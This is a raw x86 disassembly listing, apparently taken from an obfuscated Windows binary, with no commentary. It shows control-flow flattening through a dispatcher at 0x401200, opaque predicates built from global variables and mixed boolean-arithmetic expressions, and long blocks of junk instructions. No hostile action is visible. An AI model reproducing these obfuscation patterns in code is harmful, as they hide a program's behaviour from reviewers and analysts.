neg eax
ror ebx, 0x34
dec eax
bswap edi
ror ebx, 0x22
dec eax
rol edi, 0x16
ror esi, 0xd4
imul eax
neg esi
dec edi
bswap eax
ror esi, 0x6c
sbb edx, 0x49
not esi
dec edx
or edi, 0xcd
sbb edi, 0xc1
rcl esi, 0x4d
or ebx, 0x3e
not eax
imul eax
sbb edx, 0x48
imul eax
sub eax, 0x3d
imul edx
rcl ebx, 0xc8
dec edx
and eax, 0x2b
rcr ebx, 0x7c
neg edi
bswap ebx
bswap ebx
sbb ebx, 0x13
or edi, 0x7d
bswap eax
add eax, 0x2d
neg esi
ror ebx, 0x36
inc esi
bswap edi
bswap edx
add edx, 0x9f
dec esi
neg esi
ror esi, 0x90
neg edi
mov ebx, 0x23
imul edi
rcl ebx, 0x2e
not eax
sub edx, 0x98
neg edx
imul edx
imul esi
sub eax, 0x8c
sbb esi, 0x2e
bswap ebx
imul esi
bswap edx
bswap esi
bswap ebx
rcl edi, 0xeb
bswap edi
not eax
dec ebx
inc esi
rcl edx, 0x32
rcl eax, 0x44
rcl edi, 0x6d
mov eax, 0xa7
neg ebx
imul esi
inc edx
sbb edx, 0x60
dec eax
mov eax, 0x97f3cde
jmp 0x40c560
mov eax, 0x2103e023
jmp 0x401200
mov eax, 0xf9247d6a
jmp 0x401200
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0x116], ax
mov eax, 0x21a3055b
jmp 0x401200
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, 0x98554336
jmp 0x401200
mov eax, 0xc97f4021
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfffffffe
mov eax, ecx
or eax, 1
and edx, ecx
not ecx
mov edi, eax
and edi, 0x8485038
mov esi, ecx
and esi, 0xf7b7afc6
or esi, edi
mov edi, edx
not edi
and edx, 0xf7b7afc7
or eax, edi
and edi, 0x8485038
or edx, edi
not eax
xor edx, esi
mov esi, 0x51e26690
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x886df094
and ecx, 0x77920f6b
or eax, ecx
xor eax, 0x886df094
setne dl
sete ch
cmp dword [0x48f780], 0xa
mov cl, dl
mov dh, ch
setge al
setl ah
xor cl, al
and dl, ah
or ah, ch
or dh, al
and cl, al
and al, ch
xor ah, 1
or al, dl
xor cl, 1
or al, ah
mov ebx, ecx
or cl, dh
mov dl, al
xor bl, dh
xor cl, 1
not dl
or cl, bl
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
xor dl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xd06283ff
cmovne esi, eax
test cl, 1
mov eax, 0x51e26690
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x401200
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x168]
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
setl byte [ebp - 0xa9]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe67be98c
and eax, 0xfb132aba
mov esi, edx
and esi, 0x19841673
and edx, 0x4ecd545
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x19841672
xor eax, 0xfb132aba
and esi, 0xe67be98d
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa5dc67df
and esi, 0x5a239820
or ecx, esi
mov esi, 0x29c81663
xor ecx, 0xa5dc67df
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x48f780], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or ah, cl
mov ecx, edx
xor ah, 1
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x63055d6c
cmovne edx, esi
test al, 1
mov eax, 0x63055d6c
jmp 0x410365
mov eax, dword [ebp - 0x38]
mov dword [eax], 7
mov eax, 0x7e0dc4b6
jmp 0x401200
mov eax, dword [ebp - 0x160]
mov edi, 0x7a753054
mov eax, dword [eax]
add eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x85d44e
mov eax, ecx
and eax, 0x85144e
and edx, ecx
not ecx
and ecx, 0xc000
or eax, ecx
xor eax, 0x85144e
or eax, edx
not edx
and edx, 0xff7a2bb1
and eax, 0x85d44e
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xdc4a0bf4
and eax, 0x23b5f40b
or eax, edx
mov edx, ecx
not edx
and ecx, 0xfe50cdcc
mov esi, edx
and esi, 0x1af3233
or ecx, esi
mov esi, eax
xor esi, 0x2210c408
xor eax, 0xdc4a0bf5
or edx, eax
and eax, 0x1af3233
and esi, 0xfe50cdcc
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x9ee6a82c
mov eax, edx
xor eax, 0x52180e53
and eax, edx
not edx
or edx, eax
not eax
and eax, 0xade7f1ac
and edx, 0x52180e53
or edx, eax
mov eax, edx
not eax
and edx, 0xf7ba8124
and eax, 0x8457edb
or edx, eax
mov eax, edx
xor eax, 0xd09a8024
xor edx, 0x410cca
and edx, 0x27610dca
and eax, 0xd89ef235
or eax, edx
xor eax, 0xd89ef235
setne al
sete dl
cmp dword [0x48f780], 0xa
setl cl
setge ah
or al, cl
or ah, dl
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
cmovne edi, esi
test cl, cl
mov esi, 0x7a753054
cmovne esi, edi
test al, al
cmove esi, edi
mov eax, esi
jmp 0x401200
mov eax, 0xe38a3d2c
jmp 0x401200
mov eax, 0x5d03bfc3
jmp 0x401200
neg esi
rol edx, 0x54
rcl esi, 0xa0
neg eax
ror edi, 5
dec esi
sub edi, 0xef
rcr eax, 0xf
rcr edi, 6
rcr edx, 0xba
not edi
ror esi, 0xa9
rol ebx, 0x7b
or edx, 0xf0
neg esi
and esi, 0x9d
rcl edi, 0xe8
neg esi
imul edx
ror esi, 0x28
bswap esi
dec edi
add eax, 0x6b
add edx, 0x3c
rol eax, 0xf
mov edx, 0x4b
or edi, 0xb7
dec eax
neg ebx
not ebx
mov ebx, 0x45
inc edi
inc esi
or ebx, 0x5e
mov edx, 0xfc
inc eax
bswap esi
bswap edi
inc esi
add edi, 1
neg esi
neg edi
add eax, 0x27
inc eax
imul edi
add esi, 0x97
and edi, 0xb3
bswap edi
inc esi
neg esi
not edx
or eax, 0x8a
rcl edx, 0x7a
and edx, 0xb2
or edx, 0x4d
or edx, 0x37
add esi, 0xaa
neg edi
mov edi, 0x1e
imul esi
sbb eax, 0xd2
dec ebx
bswap edx
not ebx
ror edx, 0xa1
not eax
rcr edi, 0x79
and esi, 0x1e
dec eax
dec ebx
add eax, 0xcc
add eax, 0x7f
ror edx, 0x15
imul edi
mov edi, 0x24
and edi, 0x35
sub eax, 0x48
or ebx, 0xc
bswap edx
rcr esi, 0xd
bswap edx
mov edi, 0x6c
dec ebx
not edx
add ebx, 0x57
not eax
sub eax, 0xc5
rcl ebx, 0x85
sbb eax, 0xcb
bswap edx
add ebx, 0xd0
or ebx, 0x24
dec ebx
ror edx, 0x85
rcr esi, 0xee
rcr ebx, 0x6b
rcr ebx, 0x84
imul eax
sub ebx, 0x69
sub eax, 0xa6
not esi
mov edi, 0x36
sbb esi, 0xcc
not edi
add eax, 0xd4
mov ebx, 0x1d
rol esi, 0xef
bswap esi
or edi, 0x98
inc esi
rol eax, 0x19
rcr esi, 0x5f
sbb edx, 0x8b
rcr eax, 0x71
rol ebx, 0xe6
neg ebx
bswap esi
dec ebx
add eax, 0x4d
mov edi, 0x73
imul esi
bswap ebx
imul eax
not edx
not ebx
bswap edx
mov eax, 0x72
sub edx, 0xa8
imul esi
sbb edi, 0x88
and esi, 0xd6
not edi
rol edi, 0xa
dec esi
mov eax, 0x79
dec eax
inc edi
rcr eax, 0x58
imul esi
dec eax
inc edx
bswap eax
sub edx, 0xdd
rcr edx, 0x61
and ebx, 0x61
ror esi, 0x5c
bswap ebx
bswap ebx
sub eax, 0x61
bswap ebx
mov eax, 0xb212ac40
jmp 0x401200
mov ecx, dword [0x48f784]
mov edi, 0x76234b7b
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x40900103
and eax, 0x1e6d8e38
and ecx, 0xa10270c4
or edx, ecx
xor edx, 0x40900103
or eax, edx
mov ecx, eax
not ecx
and eax, 0x67ee7a60
and ecx, 0x9811859f
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x84380aa1
xor esi, 0x7983f458
xor eax, 0x84640906
mov ecx, esi
or ecx, 1
and esi, 0x4b444506
and edx, 0xb4bbbaf9
and eax, 0xad67890e
or edx, esi
mov esi, ecx
and esi, 0x529876f0
or eax, esi
mov esi, edx
xor esi, 0xa4238808
xor edx, 0x4b444507
or ecx, edx
and edx, 0x529876f0
and esi, 0xad67890f
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x31d9816d
mov eax, ecx
not eax
and ecx, 0x12f53b47
and eax, 0xed0ac4b8
or eax, ecx
mov ecx, eax
xor ecx, 0xc9084490
xor eax, 0x2a42a02
and eax, 0x26a6aa2a
and ecx, 0xd95955d5
or ecx, eax
xor ecx, 0xd95955d5
sete cl
setne ah
cmp dword [0x48f780], 0xa
setge al
setl dl
inc ah
xor ah, al
xor dl, cl
and al, ah
mov ecx, edx
xor al, 1
xor cl, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x76234b7b
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x411091
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x198]
mov dword [eax + 4], ecx
push dword [ebp - 0x74]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4c]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xb51ffd3e
jmp 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xc46dff91
and ecx, edx
not edx
and edx, 0xc46dff91
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xb6c1b1f
and eax, 0xf493e4e0
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x30fe1b70
xor eax, 0xcf01e48e
xor edx, 0xcf01e48f
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xfb4e480a
mov esi, ecx
and esi, 0x4b1b7f5
or edx, esi
mov esi, eax
not esi
and eax, 0xfb4e480a
or ecx, esi
and esi, 0x4b1b7f5
or eax, esi
not ecx
mov esi, 0xf6305c8e
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7855392
and eax, 0xf87aac6d
or eax, edx
xor eax, 0x7855392
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
and ah, ch
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x6c5289a3
cmovne edx, esi
test al, 1
mov eax, 0x6c5289a3
jmp 0x410365
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, 0x74e0cf6b
jmp 0x401200
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xe4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov dword [eax], 0
mov eax, 0xc2b8133
jmp 0x401200
mov eax, dword [ebp - 0xc8]
mov edi, 0xda1cb3b6
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x1d4], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0xe86973de
and edx, 0x17968c21
or edx, esi
mov esi, eax
not esi
and eax, 0x17968c21
or ecx, esi
and esi, 0xe86973de
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xae6e7b1b
and ecx, 0xeca6e63e
mov eax, esi
and esi, 0x519184e4
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x135919c0
or ecx, esi
mov esi, edx
xor esi, 0xac26621a
xor edx, 0x519184e5
or eax, edx
and edx, 0x135919c0
and esi, 0xeca6e63f
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x138c2ba4
mov esi, eax
or esi, 0x6c001010
and ecx, eax
and esi, 0x7c043a10
and edx, 0x38801a4
or edx, esi
mov esi, ecx
not esi
and ecx, 0x83fbc5ef
or eax, esi
and esi, 0x7c043a10
or ecx, esi
not eax
mov esi, 0x3a4dc78c
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xec73d45b
and eax, 0x138c2ba4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x86d5cc5
and ecx, 0xf792a33a
or eax, ecx
mov ecx, eax
xor ecx, 0x8204084
xor eax, 0xb780221a
and eax, 0xb7cd3e5b
and ecx, 0x4832c1a4
or ecx, eax
xor ecx, 0x4832c1a4
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ch
setge ah
mov dh, ch
and al, ah
xor dh, dl
and dl, ch
mov cl, dh
or al, dl
xor cl, ah
mov ah, al
and cl, dh
xor ah, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xda1cb3b6
or ah, al
mov al, ah
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, dl
cmovne ecx, edi
test al, al
jmp 0x411870
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0x3a935219
and ecx, 0xc56cade6
or ecx, eax
mov eax, edx
not eax
and edx, 0xd2a2684c
mov esi, eax
and esi, 0x2d5d97b3
or edx, esi
mov esi, ecx
xor esi, 0xc0202844
xor ecx, 0x3a935218
or eax, ecx
and ecx, 0x2d5d97b3
and esi, 0xd2a2684c
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x3098af10
mov ecx, eax
xor ecx, 0x6b7ca837
and ecx, eax
not eax
and eax, 0x6b7ca837
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfadee222
and eax, 0x5211ddd
or ecx, eax
mov eax, ecx
xor eax, 0x820004
xor ecx, 0x6e5db5ea
mov edx, ecx
and edx, 0xb364faf9
and eax, 0x4c9b0506
or eax, edx
xor eax, 0xb364faf9
xor ecx, eax
test ecx, eax
setne cl
sete ah
cmp dword [0x48f780], 0xa
setge ch
setl al
mov dl, ch
and cl, al
xor al, ah
xor dl, ah
and ah, ch
and dl, ch
or cl, ah
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5b1f6451
cmovne ecx, esi
test al, al
jmp 0x40ff27
mov eax, dword [ebp - 0x1c0]
mov ecx, 0x860f2bab
cmp eax, dword [ebp - 0x1c4]
mov eax, 0x5d4a459f
cmovb eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov dword [eax], 2
mov eax, 0xb7690ec8
jmp 0x401200
mov eax, 0x8d1373a7
jmp 0x401200
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x4c]
mov eax, 0x43a318b9
jmp 0x401200
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, 0x2c27e336
jmp 0x401200
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
shl eax, 2
mov dword [ebp - 0x200], eax
mov eax, 0x7b9e75a7
jmp 0x401200
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x12000080
mov edx, eax
and edx, 0x86b0c02
and eax, 0xe594f37d
or ecx, edx
xor ecx, 0x12000080
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xff455292
and eax, 0x88df8bdf
and ecx, 0xbaad6d
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xff455292
xor esi, 0x779ad94d
xor edx, 0x200424
and esi, ecx
and edx, 0x82244436
or eax, esi
mov esi, eax
not esi
and eax, 0x77207421
and esi, 0x88df8bde
or eax, esi
mov esi, ecx
and esi, 0x7ddbbbc9
and ecx, 1
or esi, edx
xor esi, 0x82244437
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xaa2b1350
and edx, 0x55d4ecaf
or ecx, edx
xor ecx, 0xaa2b1350
or ecx, eax
mov edx, ecx
xor edx, 0x29fb652a
mov eax, ecx
and eax, 0x1f70bd29
and edx, ecx
not ecx
and ecx, 0xe08f42d6
or eax, ecx
mov ecx, eax
xor eax, 0x208b4002
xor ecx, 0x9502128
mov esi, eax
or esi, 0xc0009295
and ecx, 0x2953212a
and esi, 0xc0a8d695
or ecx, esi
mov esi, edx
not esi
and edx, 0x3f57296a
or eax, esi
and esi, 0xc0a8d695
or edx, esi
not eax
mov esi, 0x2906d8d6
xor edx, ecx
or eax, edx
not edx
and edx, 0xd6049ad5
and eax, 0x29fb652a
or eax, edx
setne al
sete dl
cmp dword [0x48f780], 0xa
setl ah
setge cl
and ah, al
mov al, cl
xor al, dl
and al, cl
and cl, dl
or cl, ah
xor al, 1
mov edx, ecx
mov ah, al
xor dl, 1
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc074e9b7
cmovne eax, esi
test dl, dl
mov edx, 0xc074e9b7
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov ecx, dword [0x48f784]
mov ebx, 0x124c70c5
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
not ecx
and edx, eax
or eax, 1
mov esi, ecx
and esi, 0x3c027a50
mov edi, eax
and edi, 0xc3fd85ae
or esi, edi
mov edi, edx
not edi
and edx, 0x3c027a51
or eax, edi
and edi, 0xc3fd85ae
or edx, edi
not eax
mov edi, 0x124c70c5
xor edx, esi
mov esi, 0x7eb32787
or eax, edx
mov edx, eax
not edx
and eax, 0x642f8b91
and edx, 0x9bd0746e
or eax, edx
xor eax, 0x642f8b91
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x48f780], 0xa
setge al
setl dl
and dl, ah
xor ah, al
mov ch, al
and ah, cl
or ch, cl
xor ah, 1
mov dh, ah
or ah, ch
xor dh, ch
mov ch, al
xor ah, 1
xor ch, cl
or ah, dh
and ch, al
and al, cl
mov cl, ch
or al, dl
xor ch, al
xor cl, 1
xor al, 1
or al, cl
mov cl, ah
xor al, 1
xor cl, 1
or al, ch
mov edx, eax
xor dl, 1
and dl, cl
or cl, al
and al, ah
or al, dl
mov ch, cl
xor ch, al
test ch, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test cl, 1
cmovne eax, ebx
jmp 0x401200
mov eax, 0x6d12636b
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov dword [eax], 4
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc99acddf
mov edx, eax
and eax, 0x36653220
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x36653221
or eax, edx
mov ecx, eax
xor ecx, 0xe01ce28b
mov edx, eax
not edx
and ecx, eax
or eax, 0x1fe31d74
and edx, 0x8004a088
mov esi, eax
and esi, 0x7ed85667
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8127a998
or eax, esi
and esi, 0x7ed85667
or ecx, esi
not eax
mov esi, 0x31614072
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3be4dda2
and ecx, 0xc41b225d
or eax, ecx
xor eax, 0xdbf83f29
sete ch
setne ah
cmp dword [0x48f780], 0xa
setge dl
setl cl
mov al, dl
and ch, dl
and cl, ah
inc al
or cl, ch
and al, ah
xor cl, 1
or al, ch
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
mov ah, cl
xor al, 1
or dl, ch
or cl, dl
xor ah, dl
mov edx, eax
xor cl, 1
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x46511c8
cmovne eax, esi
test dl, 1
mov edx, 0x46511c8
jmp 0x40dda2
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0xf5c02f47
and eax, 0x1962a29f
mov edx, esi
and edx, 0xa3fd0b8
and esi, 0xe69d5d60
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0x1a9aacd1
and edx, 0xe565532e
or ecx, edx
mov edx, ecx
xor edx, 0x6400
xor ecx, 0xef5a8397
mov esi, ecx
and esi, 0x1baf19ed
and edx, 0xe450e612
or edx, esi
mov esi, eax
xor esi, 0x40a212
xor eax, 0x28d1960
and eax, 0x1baf19ed
and esi, 0xe450e612
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0xacb81fe5
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
mov ah, cl
or cl, al
xor dl, 1
xor cl, 1
xor ah, al
or cl, dl
mov edx, 0x877eb62a
mov al, cl
xor al, ah
test cl, 1
cmovne esi, edx
test ah, ah
cmove esi, edx
test al, 1
mov eax, 0xacb81fe5
cmove esi, eax
mov eax, esi
jmp 0x401200
mov eax, 0xbce01d5f
jmp 0x401200
mov eax, dword [ebp - 0x12c]
mov eax, 0xc9d9295a
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x872d009
and eax, 0x650c08f2
and ecx, 0x92812704
or edx, ecx
xor edx, 0x872d009
or eax, edx
mov ecx, eax
not ecx
and eax, 0x26a70bc6
and ecx, 0xd958f439
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x41200214
xor edx, 0xbc54fccb
xor ecx, 0xbc54fcca
and ecx, edx
and eax, 0x5d30329d
and edx, 0xa2cfcd62
or edx, eax
mov eax, ecx
not eax
and ecx, 0x105934f0
mov esi, eax
and esi, 0xefa6cb0f
or ecx, esi
mov esi, edx
xor esi, 0x490460
xor edx, 0x5d30329c
or eax, edx
and edx, 0xefa6cb0f
and esi, 0x105934f0
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xdbcee2a2
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x19cfa4a7
and ecx, 0xe6305b58
or ecx, edx
xor ecx, 0x19cfa4a7
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x48f780], 0xa
setge dl
mov ah, dl
or dl, al
xor ah, al
mov al, dl
mov ecx, edx
xor al, 1
and cl, al
xor cl, 1
or cl, al
or al, ah
xor ah, 1
xor cl, 1
xor al, 1
or cl, dl
xor cl, ah
xor ah, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x32d1ad49
cmovne edx, esi
test al, al
mov eax, 0x32d1ad49
jmp 0x410ba4
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x202002
mov edi, eax
and edi, 0x2815425
and eax, 0xf57b04de
mov esi, edx
and esi, 0x20008140
or ecx, esi
mov esi, edx
or esi, 0x2020a142
and esi, 0xfc36abca
xor ecx, 0x20008140
or edi, esi
mov esi, edx
and esi, 0x1480010
and edx, 0xa84fb21
lea ecx, [ecx + esi - 0x23e9f578]
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x2168a153
and esi, 0xde975eac
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x55a65c6c
mov esi, edx
and esi, 0xaa59a393
or ecx, esi
mov esi, eax
xor esi, 0x5522044c
xor eax, 0xa00a301
and eax, 0xaa59a393
and esi, 0x55a65c6c
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x19c111d
setne al
sete ch
cmp dword [0x48f780], 0xa
setge ah
setl dl
mov cl, ah
xor al, ah
or dl, ch
xor cl, ch
or ch, ah
xor al, 1
not cl
mov dh, ch
and cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
xor dh, cl
or cl, ch
or al, ah
xor cl, 1
xor al, 1
or cl, dh
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x46026e5e
cmovne eax, esi
test dl, 1
mov edx, 0x46026e5e
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, 0x431f99a
jmp 0x401200
mov eax, dword [0x48f784]
mov esi, 0x72f06563
mov edi, 0x84f8d95c
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x3eb9db2
mov eax, ecx
not eax
and edx, ecx
mov ecx, eax
and ecx, 0x3eb9db2
and eax, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfc14624c
and edx, 0x3eb9db3
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc0075403
and eax, 0x1ef880d4
and ecx, 0x21002b28
or edx, ecx
xor edx, 0xc0075403
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa8e5e0f7
and ecx, 0x571a1f08
or eax, ecx
xor eax, 0x49e29fdc
sete al
setne dl
cmp dword [0x48f780], 0xa
setge ah
setl cl
xor al, ah
and al, ah
xor ah, dl
or dl, cl
xor dl, 1
and cl, ah
or al, ah
or cl, dl
mov edx, 0x84f8d95c
xor al, cl
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
cmove edi, edx
mov eax, edi
jmp 0x401200
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0xd0]
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x3e73da9e
mov eax, edx
and eax, 0xc18c2561
and edx, 0xfbf1f881
or eax, esi
mov esi, eax
not esi
and eax, 0xb3c9b7e7
and esi, 0x4c364818
or eax, esi
mov esi, ecx
and esi, 0x40e077e
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x808a6108
xor eax, 0x72459287
xor esi, 0xfbf1f880
and edx, 0x928f610d
or ecx, esi
mov esi, eax
and esi, 0x6d709ef2
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x6d709ef2
and esi, 0x928f610d
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov edx, eax
xor edx, 0xba1c2320
mov ecx, eax
and ecx, 0xb0002200
and edx, eax
not eax
and eax, 0xa1c0120
or ecx, eax
mov eax, ecx
xor eax, 0x90002000
xor ecx, 0x4fffddff
mov esi, ecx
and esi, 0x216b9218
